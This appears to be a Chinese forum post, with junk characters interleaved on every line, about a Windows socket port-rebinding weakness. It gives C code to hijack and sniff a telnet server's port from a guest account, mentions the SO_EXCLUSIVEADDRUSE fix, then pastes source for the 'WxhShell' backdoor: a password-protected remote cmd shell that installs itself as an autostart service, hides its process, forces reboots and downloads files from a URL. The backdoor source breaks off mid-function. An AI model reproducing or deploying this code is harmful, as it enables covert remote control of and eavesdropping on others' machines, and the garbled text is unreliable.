在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
VAUd^6Xdwx s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
RW1+y/#%P v6Y[_1 saddr.sin_family = AF_INET;
rz-61A) _ Z(tO]tQE saddr.sin_addr.s_addr = htonl(INADDR_ANY);
0aI@m ,/TmTX--d bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
NZADHO@0 I|K!hQ"m 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
:oC;.u<*8 *8;<w~ 这意味着什么?意味着可以进行如下的攻击:
' S,g3 o"L8n(\ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
*n#
=3D @JLN3 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
}NGP! x?u@
j7[ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
"oFi+']* .
.S3-(xW 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
) R5j?6}xF z7L+wNYwg 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
!wfUD2K1 .f;@OqU 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
%H&WihQ =_g#I 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
J|be'V#]1 #902x*Z'c" #include
[q_62[-X #include
/L@o.[H #include
cC| #include
V*(x@pF DWORD WINAPI ClientThread(LPVOID lpParam);
x%goyXK int main()
%21 |-B {
NG:4Q.G1g WORD wVersionRequested;
@OUBo;/ DWORD ret;
(JnEso-V WSADATA wsaData;
+j+
v(- BOOL val;
s6(md<r SOCKADDR_IN saddr;
_/cX!/" SOCKADDR_IN scaddr;
O'#;Ge/, int err;
j%Z5[{!/,X SOCKET s;
,,80nW9E SOCKET sc;
LikCIO int caddsize;
"$K]+0ryG< HANDLE mt;
Z1+Ewq3m DWORD tid;
Lp@Al#X55 wVersionRequested = MAKEWORD( 2, 2 );
!TY0;is err = WSAStartup( wVersionRequested, &wsaData );
(a-Lx2 T if ( err != 0 ) {
qp#Euq6 printf("error!WSAStartup failed!\n");
O0`ofFN return -1;
AFvv+
ss }
77aUuP7Iw saddr.sin_family = AF_INET;
n_LK8 z[R
dM#L //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
ZU.E}Rn: Bz>f saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
qvGmJN0 saddr.sin_port = htons(23);
"cly99t if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
ZF#n(Y? {
'Z9UqEGV printf("error!socket failed!\n");
|JWYsqJ0U return -1;
n
c~JAT#' }
Oj_F1.
r val = TRUE;
DrAIQ7Jd //SO_REUSEADDR选项就是可以实现端口重绑定的
pr4y*!|Y$ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
-a~n_Z>_ {
KU0Ad);e printf("error!setsockopt failed!\n");
q(hBqU W return -1;
T \- x3i }
\dE{[^.5 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
1uG)U)y/Q //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
Fn4yx~0 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
PU1YR;[Fe ya^8mp- if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
P0OMu/ {
>t'A1`W ret=GetLastError();
O&;d8 2IA{ printf("error!bind failed!\n");
yENAc sv return -1;
T;{:a-8 }
T@#?{eA listen(s,2);
8*{jxN'M while(1)
:)B1|1 {
N`fFYO caddsize = sizeof(scaddr);
0L#i c61U //接受连接请求
QLHEzEvf{/ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
<n~.X<6V' if(sc!=INVALID_SOCKET)
P0hr=/h4 {
@W$ha
y mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
~7g$TAe{ if(mt==NULL)
88[u^aC {
Q!=`|X|: printf("Thread Creat Failed!\n");
F|.tn`j]U break;
60A!Gob }
4t/ ?b }
ev+H{5W8 CloseHandle(mt);
_zzNF93Bn }
!?+0O]`} closesocket(s);
#=ij</ WSACleanup();
8No'8(dPX return 0;
`Eu,SvkF w }
h>cjRH?e DWORD WINAPI ClientThread(LPVOID lpParam)
cT/mi":8{ {
;YMg4Cs SOCKET ss = (SOCKET)lpParam;
3$5E1*ed SOCKET sc;
?P>4H0@I+ unsigned char buf[4096];
u#^l9/tl SOCKADDR_IN saddr;
k2,`W2]^E long num;
,mi7WW9 DWORD val;
K4]ZVMm/* DWORD ret;
O#O"]A //如果是隐藏端口应用的话,可以在此处加一些判断
$ #GuV' //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
yuJ>xsM saddr.sin_family = AF_INET;
'
;nG4+K saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
o.Y6(o saddr.sin_port = htons(23);
CH|cK8q if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
5M5vxJ)Lh {
|/%5~=%7 printf("error!socket failed!\n");
d&Nji%Ej return -1;
i^A=nsD` }
P7bb2"_9 val = 100;
W$;qhB if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
,2 W=/,5A {
<]|HGc ret = GetLastError();
.q4$)8[Pg return -1;
9Hb|$/FD }
afD {w*[8 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
p>3QW3< {
a;-%C{S9r ret = GetLastError();
I\c7V~^hnG return -1;
ONy\/lu| }
%N(>B_t\ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
#9.%>1{6Y {
t?Qbi)T=z printf("error!socket connect failed!\n");
uW FyI" closesocket(sc);
;PU'"MeB " closesocket(ss);
h7TkMt[l return -1;
+Ig%h[1a }
ZUS5z+o while(1)
xaoR\H {
(&r`
l&0 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
c|aX4 =Z //如果是嗅探内容的话,可以再此处进行内容分析和记录
W(4$.uZ) //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
g.%} +5 num = recv(ss,buf,4096,0);
^q&|7Ou- if(num>0)
PE/uB,Wl send(sc,buf,num,0);
xVX:kDX else if(num==0)
7I&o break;
7l=Tl[n num = recv(sc,buf,4096,0);
~OvbMWu if(num>0)
H<<t^,E^.t send(ss,buf,num,0);
mTUoFXX[ else if(num==0)
&=n/h5e0t& break;
%xQ'i4` }
9y5JV3 closesocket(ss);
RjO0*$>h closesocket(sc);
!7)#aXt& return 0 ;
ANM=:EtP }
/QVwZrch K\8zhY U:3OE97 ==========================================================
I_Gz~ qk6 mD&I6F[s 下边附上一个代码,,WXhSHELL
%eIaH!x: wF% RM$ ==========================================================
rKFnivGT $M!iQ"bb #include "stdafx.h"
w4}Q6_0v K{`R`SXD #include <stdio.h>
lA1 #include <string.h>
P6La)U`VA #include <windows.h>
xfI0P0+ #include <winsock2.h>
i4h`jFS #include <winsvc.h>
9%NobT #include <urlmon.h>
IvY3iRq6 AJ&j|/ #pragma comment (lib, "Ws2_32.lib")
*V\.6,^v #pragma comment (lib, "urlmon.lib")
EU|IzUjFj| Ml{
]{n #define MAX_USER 100 // 最大客户端连接数
?nbu`K6T #define BUF_SOCK 200 // sock buffer
EQd<!)HZ #define KEY_BUFF 255 // 输入 buffer
1ywdcg 19y,O0# _ #define REBOOT 0 // 重启
3#dz6+ #define SHUTDOWN 1 // 关机
C#yRop_d]o @H4]Gp ] #define DEF_PORT 5000 // 监听端口
fsw[R0B \f(zMP #define REG_LEN 16 // 注册表键长度
E"S#d&9 #define SVC_LEN 80 // NT服务名长度
|o9`h 9i u7RlxA: // 从dll定义API
sP2Uj typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
`sso Wn4 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
W}3%BWn typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
} eHxw+. typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
o 7tUv"Rs <rK[ &JlJ // wxhshell配置信息
4'*.3f'bp struct WSCFG {
_xm<zy{`S int ws_port; // 监听端口
}d>.Nj#zh char ws_passstr[REG_LEN]; // 口令
QKq4kAaJ! int ws_autoins; // 安装标记, 1=yes 0=no
Qox /abC
h char ws_regname[REG_LEN]; // 注册表键名
A s}L=2 char ws_svcname[REG_LEN]; // 服务名
1;S?9N_B char ws_svcdisp[SVC_LEN]; // 服务显示名
'v
CMf char ws_svcdesc[SVC_LEN]; // 服务描述信息
& /T} char ws_passmsg[SVC_LEN]; // 密码输入提示信息
m;>G]Sbe int ws_downexe; // 下载执行标记, 1=yes 0=no
<Lxp t char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
w{xa@Q]t- char ws_filenam[SVC_LEN]; // 下载后保存的文件名
oe|;>0yf 4uMMf };
An0N'yo"Z '\op$t/ // default Wxhshell configuration
jN*wbqL struct WSCFG wscfg={DEF_PORT,
{J,"iJKop "xuhuanlingzhe",
^0}wmxDq 1,
js Z"T "Wxhshell",
RN[x\" , "Wxhshell",
n;kWAYgg "WxhShell Service",
5Ww,vSCV) "Wrsky Windows CmdShell Service",
M/9[P*
VE "Please Input Your Password: ",
\<T7EV. 1,
H?Q--pG8 "
http://www.wrsky.com/wxhshell.exe",
hE`d@ "Wxhshell.exe"
!z4I-a };
sZr \mQ~ zx2`0%Q // 消息定义模块
K\;4;6g char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
7.ein:M|CB char *msg_ws_prompt="\n\r? for help\n\r#>";
V59!}kel1% char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
n w`rH* char *msg_ws_ext="\n\rExit.";
YsVKdh char *msg_ws_end="\n\rQuit.";
cNmAr8^} char *msg_ws_boot="\n\rReboot...";
quaRVD>s + char *msg_ws_poff="\n\rShutdown...";
'<<@@.(f char *msg_ws_down="\n\rSave to ";
{^N,$,Ab. O#18a,o@ char *msg_ws_err="\n\rErr!";
&g23tT#P? char *msg_ws_ok="\n\rOK!";
WoGnJ0N q 71P. 9Iz char ExeFile[MAX_PATH];
![r)KE=v8I int nUser = 0;
8,[ *BgeX HANDLE handles[MAX_USER];
.JB1#&B+ int OsIsNt;
F*Hovxez Vjt7X"_/ SERVICE_STATUS serviceStatus;
tx9%.)M:n SERVICE_STATUS_HANDLE hServiceStatusHandle;
tKLeq( MnF|'t // 函数声明
ILH[q> int Install(void);
5EI"5&`* int Uninstall(void);
id :
^| int DownloadFile(char *sURL, SOCKET wsh);
4~$U#$u_ int Boot(int flag);
~J+
qIZge void HideProc(void);
e],(d7 Jo int GetOsVer(void);
CALD7qMK int Wxhshell(SOCKET wsl);
U_gkO;s% void TalkWithClient(void *cs);
*!BQ1] G int CmdShell(SOCKET sock);
;^0ok'P\~9 int StartFromService(void);
047PlS int StartWxhshell(LPSTR lpCmdLine);
Vn{;8hZ:a M!!vr8} VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
!]A/ID0K VOID WINAPI NTServiceHandler( DWORD fdwControl );
&1^~G0Rh\ OGJrwl // 数据结构和表定义
+MaEet SERVICE_TABLE_ENTRY DispatchTable[] =
qk3~]</ {
.-&
=\}^2l {wscfg.ws_svcname, NTServiceMain},
Et-|[ eL {NULL, NULL}
jCNR63/ };
Nb_Glf mrG?5.7W // 自我安装
f-[.^/ int Install(void)
Ps\4k#aOv {
R_GA`U\ { char svExeFile[MAX_PATH];
-X%twy= HKEY key;
U"Bge\6x= strcpy(svExeFile,ExeFile);
8,vP']4r% fSVM[ // 如果是win9x系统,修改注册表设为自启动
UukY9n];] if(!OsIsNt) {
noa+h<vGb if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
r1RM7y RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
2h*aWBLk RegCloseKey(key);
)T
gfd5B if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
7p':a) RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
. a @7 RegCloseKey(key);
mSu$1m8 return 0;
*& );-r`. }
Sw-2vnSdM }
Z>Rshtg }
%Y'/_
esH2 else {
q8/k$5E [kr-gV // 如果是NT以上系统,安装为系统服务
r^rk@W;[ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
'w72i/ if (schSCManager!=0)
8L/XZ) {
eS
?9}TG| SC_HANDLE schService = CreateService
upk_;ae (
jR\! 2! schSCManager,
40].:9VG wscfg.ws_svcname,
udr|6EjD. wscfg.ws_svcdisp,
s/11TgJ SERVICE_ALL_ACCESS,
w?nSQBz$ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
w;AbJCv2 SERVICE_AUTO_START,
$qZ6i SERVICE_ERROR_NORMAL,
|HY{Q1% svExeFile,
30Qp:_D NULL,
$qg2@X. NULL,
CA&VnO{r NULL,
[U^Cz{G NULL,
g;AW NULL
b|kL*{; );
`uusUw-Gf if (schService!=0)
2MYez>D {
xpuTh"ED CloseServiceHandle(schService);
eA?|X| CloseServiceHandle(schSCManager);
..'"kX:5 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
eA
Fp<2g strcat(svExeFile,wscfg.ws_svcname);
x]%,?Vd? if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
k6z]"[yu RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
\k=%G_W RegCloseKey(key);
-}oH],C return 0;
]qq2VO<b }
.Sa=VC?EZ }
j%]sym CloseServiceHandle(schSCManager);
R! X+- }
gCkR$.-E }
ZDI?"dt{ w}$;2g0=a< return 1;
FrLv%tK| }
UEYJd&n0CB N;!!*3a9= // 自我卸载
f qWme:x int Uninstall(void)
"66#F {
J[S!<\_! HKEY key;
r#w 7qEtD /6y{?0S if(!OsIsNt) {
$1zWQJd[- if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
!SGRK01 RegDeleteValue(key,wscfg.ws_regname);
TEj"G7]1$A RegCloseKey(key);
-*T0Cl. if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
wzoT!-_X RegDeleteValue(key,wscfg.ws_regname);
PX/^* RegCloseKey(key);
L %ifl:K return 0;
^4\0,> }
e(b$LUV }
r6aIW8 }
2*
TIr else {
b~YIaD[Z U-,s/VQ? SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
Z }>;@c if (schSCManager!=0)
5^ubXA {
3tkCmB SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
&l_}yf"v if (schService!=0)
q%vel.L]% {
}K,3SO(: if(DeleteService(schService)!=0) {
9}fez)m:g0 CloseServiceHandle(schService);
e6{E(=R[M CloseServiceHandle(schSCManager);
H`q[!5~8 return 0;
1Id"|/b%$ }
{KEmGHC4R CloseServiceHandle(schService);
H%Lln# }
Wy/h"R\= CloseServiceHandle(schSCManager);
l4iklg3 }
n8T'}d+mm }
Q6
m.yds mC(YO y return 1;
]\}MSo3 }
T;PLUjp} -'*<;]P+. // 从指定url下载文件
01RW|rN int DownloadFile(char *sURL, SOCKET wsh)
H}CmSo8& {
m$pRA0s2` HRESULT hr;
[!uVo>Q4 char seps[]= "/";
^1_[UG char *token;
AqaMi char *file;
~>~qA0m"m char myURL[MAX_PATH];
f3>DmH# char myFILE[MAX_PATH];
n3-VqYUP 1O,8=,K2a strcpy(myURL,sURL);
n)35-?R/M token=strtok(myURL,seps);
0&2`)W?9 while(token!=NULL)
p_EM/jI, {
Wfc~"GQq4 file=token;
0B}2~}# token=strtok(NULL,seps);
0O]v| }
;, \!&o6 "oF)u1_? GetCurrentDirectory(MAX_PATH,myFILE);
=1
S%E strcat(myFILE, "\\");
Wa&!1'
@ strcat(myFILE, file);
ub`zS-vb send(wsh,myFILE,strlen(myFILE),0);
)24M?R@r send(wsh,"...",3,0);
! gfd!R hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
aS\$@41" if(hr==S_OK)
tB(~:"|8 return 0;
puMbB9) else
zf^|H%
~^ return 1;
/Ah&d@b ^kz(/c/ ? }
L$kB(Brw ?gjx7TQ? // 系统电源模块
v#X#F9C int Boot(int flag)
.`v%9-5v
{
ja&m-CFK HANDLE hToken;
k{UeY[,jb TOKEN_PRIVILEGES tkp;
b&LAk-}[ ]T2Nr[vu if(OsIsNt) {
L<Z,@q` OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
Xw7'I LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
* >8EMq\^ tkp.PrivilegeCount = 1;
I:UDEoQo tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
vP? T AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
(vchZn# if(flag==REBOOT) {
+"k?G if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
?~yJ7~3TS< return 0;
5wl;fL~e }
#5'&
|< else {
``6- if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
o[+t}hC[ return 0;
wArfnB& }
6f
?,v5 }
.sFN[>) else {
IvI..#EzG if(flag==REBOOT) {
\/V#,O if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
OIjSH~a. return 0;
'V&Uh]> }
x',6VTz^ else {
&`tAQN*Z if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
4udj"-V return 0;
S'hUh'PZ }
~{vB2 }
kY{$[+-jR LNHi}P~ return 1;
{ w sT }
i27)c)\BM b`^Q ':^A // win9x进程隐藏模块
:g^
mg-8 void HideProc(void)
TOS'|xQ {
f#w
u~*c 1KBGML-K3 HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
S9r+Nsn if ( hKernel != NULL )
(+/d*4 {
NuD|%Ebs pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
MxKTKBxQ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
]yZ%wU9! FreeLibrary(hKernel);
*)6\V}` }
;^E_BJm pIYXYQ=Z return;
s;*
UP }
-V[x
q VfP\)Rl // 获取操作系统版本
mw;4/
/R int GetOsVer(void)
0(:SEiz6s {
FOMJRq OSVERSIONINFO winfo;
vZ.<OD4 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
< *;GJ{ GetVersionEx(&winfo);
jvL!pEC! if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
%b4tyX:N0 return 1;
`ZI -1&Y3 else
(K84J*; return 0;
X?n=UebO^ }
: T7(sf*!* \x]\W#C // 客户端句柄模块
PJe_qP int Wxhshell(SOCKET wsl)
L
G5_\sY! {
8UqH"^9.Q7 SOCKET wsh;
xSSEDfq struct sockaddr_in client;
Z[ (d7 DWORD myID;
&vn2u bauS +`g&hO\W while(nUser<MAX_USER)
TB+k[UxB {
NMf#0Nz- int nSize=sizeof(client);
g=@d!]Z~[ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
^+CHp(X if(wsh==INVALID_SOCKET) return 1;
~!8j,Bqs+z QKlsBq handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
f86Z #% if(handles[nUser]==0)
>][D" closesocket(wsh);
cBZEyy& else
>$E;."a nUser++;
g<.Is
V }
xy"'8uRi WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
$/;K<*O$ Yv@n$W`: return 0;
WQ%O/ }
bE'{zU}o 0gaHYqkA>} // 关闭 socket
yGAFQ|+ void CloseIt(SOCKET wsh)
^7YNM<_%@ {
$[,4Ib_| closesocket(wsh);
m;MJ{"@A' nUser--;
Z${eDl6i ExitThread(0);
[YHtBM:y }
(=Kv1
H aD qxu3y+po] // 客户端请求句柄
\U>&W void TalkWithClient(void *cs)
VwPoQ9pIS {
T]-MrnO [xr^t1 SOCKET wsh=(SOCKET)cs;
L/C~l3 char pwd[SVC_LEN];
AD?XJ3 char cmd[KEY_BUFF];
M\{\WyeX char chr[1];
2bG3&G int i,j;
js5VgP` tkr&Fs"t+ while (nUser < MAX_USER) {
@*Ry`)T :W1?t*z:[ if(wscfg.ws_passstr) {
.'<K$:8@| if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
H${L F.8 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
% ym};7'&b //ZeroMemory(pwd,KEY_BUFF);
-9,~b9$ i=0;
WGUw`sc\ while(i<SVC_LEN) {
/[\g8U{5B} 1(IZ,*i // 设置超时
P@vUQ fd_set FdRead;
L-D4>+ struct timeval TimeOut;
ob;|%_ FD_ZERO(&FdRead);
z06,$OYz FD_SET(wsh,&FdRead);
/YHO"4Z TimeOut.tv_sec=8;
w3);ZQ| TimeOut.tv_usec=0;
$m2#oI'D int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
2J&~b 8 : if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
>WDHRC kex V~Q if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
e7xBi!I)~ pwd
=chr[0]; oYZ
4F
if(chr[0]==0xd || chr[0]==0xa) { n>j2$m1[
pwd=0; :e;6oC*"q
break; DlE, aYB
} $">j~! '
i++; kF~(B]W(
} k/wD@H N
qfE0J;e
// 如果是非法用户,关闭 socket cVL|kYVWT
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 7`;sX?R
} W
wPzm?30
K8X7IE
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); f/#Id]B
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9AX}V6\+
n2B%}LLa
while(1) {
1?FG3X 5
4i)5=H
ZeroMemory(cmd,KEY_BUFF); Jp]?tlT
5buW\_G)
// 自动支持客户端 telnet标准 iiIns.V
j=0; _Ik?WA_;
while(j<KEY_BUFF) { ra T9
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); m]>zdP+
cmd[j]=chr[0]; e!*]y&W
if(chr[0]==0xa || chr[0]==0xd) { QTi@yT:
cmd[j]=0; -?)^
hbr
break; +yWD>PY(
} EOrui:.B)
j++; y2#>a8SRS
} },l
i'r#p
<lf692.3
// 下载文件 $e7%>*?m
if(strstr(cmd,"http://")) { CE`]X;#y
send(wsh,msg_ws_down,strlen(msg_ws_down),0); P>X[}
if(DownloadFile(cmd,wsh)) 1\m,8i+gU
send(wsh,msg_ws_err,strlen(msg_ws_err),0); l1DJ<I2
else g&xj(SMj-$
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @9HRGxJ=}
} :
"|/
else { fc*>ky.v
1 #,4P1"
switch(cmd[0]) { OA&'T*)-A6
E .Xp\Dm71
// 帮助 M0fN[!*z
case '?': { iv~R4;;)
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); x:MwM?
break; s"=TM$Vb
} 8c)GUx
// 安装 nD
BWm`kN
case 'i': { t[`LG)
if(Install()) Gg'!(]v
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]i.N'O<p
else QX<n^W
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A,<5W }
break; {wz)^A
sy
} 0>BxS9?w
// 卸载 y2_rm
case 'r': { 1]Xx{j<
if(Uninstall()) IAH"vHM
send(wsh,msg_ws_err,strlen(msg_ws_err),0); }S uj=oFp
else MrHJ)x"hy
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Pl:4`oY3
break; M=Ze)X\E*'
} DlUKhbo$g
// 显示 wxhshell 所在路径 B.r^'>jQ
case 'p': { =SLG N`m3
char svExeFile[MAX_PATH]; '/u|32
strcpy(svExeFile,"\n\r"); #MA6eE'R
strcat(svExeFile,ExeFile); (`dz37@*
send(wsh,svExeFile,strlen(svExeFile),0); B<SE|~\2
break; Ux=~-}<-w
} #("M4}~
// 重启 ,yGbMOV
case 'b': { >k\pSV[
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); @\ y{q;
if(Boot(REBOOT)) O]PM L`
send(wsh,msg_ws_err,strlen(msg_ws_err),0); uMw6b=/U
else { Q&]|W
Xv
closesocket(wsh); w/*G!o-<
ExitThread(0); toPbFU'
} #s~;ss ,
break; #]jl{K\f#X
} ,6{z
// 关机 e' l9
case 'd': { 7(+4^
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 'Eur[~k
if(Boot(SHUTDOWN)) Ljm`KE\Q;t
send(wsh,msg_ws_err,strlen(msg_ws_err),0); `#ruZM066
else { D ;> 7y}\
closesocket(wsh); 'z8FU~oU
ExitThread(0); ~x,_A>a
} 6AJk6W^Z
break; dBd7#V:}yV
} {OEjITm
// 获取shell RlL]p`g
case 's': { l'(FM^8jv
CmdShell(wsh); [y9a.*]u/@
closesocket(wsh); .gg0rTf=-
ExitThread(0); (BLxK)0<"
break; vd lss|
} DSwb8q
// 退出 X=whZ\EZ
case 'x': { AE77i,Xa
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); _l7_!Il_
CloseIt(wsh); `Jc/ o=]
break; ?2&= +QaT
} dHIk3j-!
// 离开 Q)0KYKD+@
case 'q': { Qz[^J
send(wsh,msg_ws_end,strlen(msg_ws_end),0); e El)wZ,A
closesocket(wsh); $,~Ily7w
WSACleanup(); ;-VZV p}Y
exit(1); U)8yd,qG[%
break; .m]}Ba}J$
} pZ>yBY?R8>
} [o<hQ`&
} v>wN
O
%!nI]|
// 提示信息 !vf:mMo
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8+[Vo_]
} ?{ExBZNa
} m*]`/:/X[
i=#`7pt%'a
return; E\!X$
} \~*<[.8~
"M5
// shell模块句柄 D:Q#%wJ
int CmdShell(SOCKET sock) 8Ij<t{Lps
{ QZ&(e2z
STARTUPINFO si; [cnuK
ZeroMemory(&si,sizeof(si)); Br9j)1;
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <Ja&z M
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 1+Gq<]@G
PROCESS_INFORMATION ProcessInfo; T]wI)
char cmdline[]="cmd"; 1M&Lb.J6
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Ge`7`D>L
return 0; jlP*RX
} Sh!c]r>\Q
`*vO8v
// 自身启动模式 l48$8Mgrr
int StartFromService(void) 'UsR/h5T
{ 44*#qLN
typedef struct @6G)(NGD
{ Hq}g1?b
DWORD ExitStatus; /.0K#J:
DWORD PebBaseAddress; >"2jCR$/
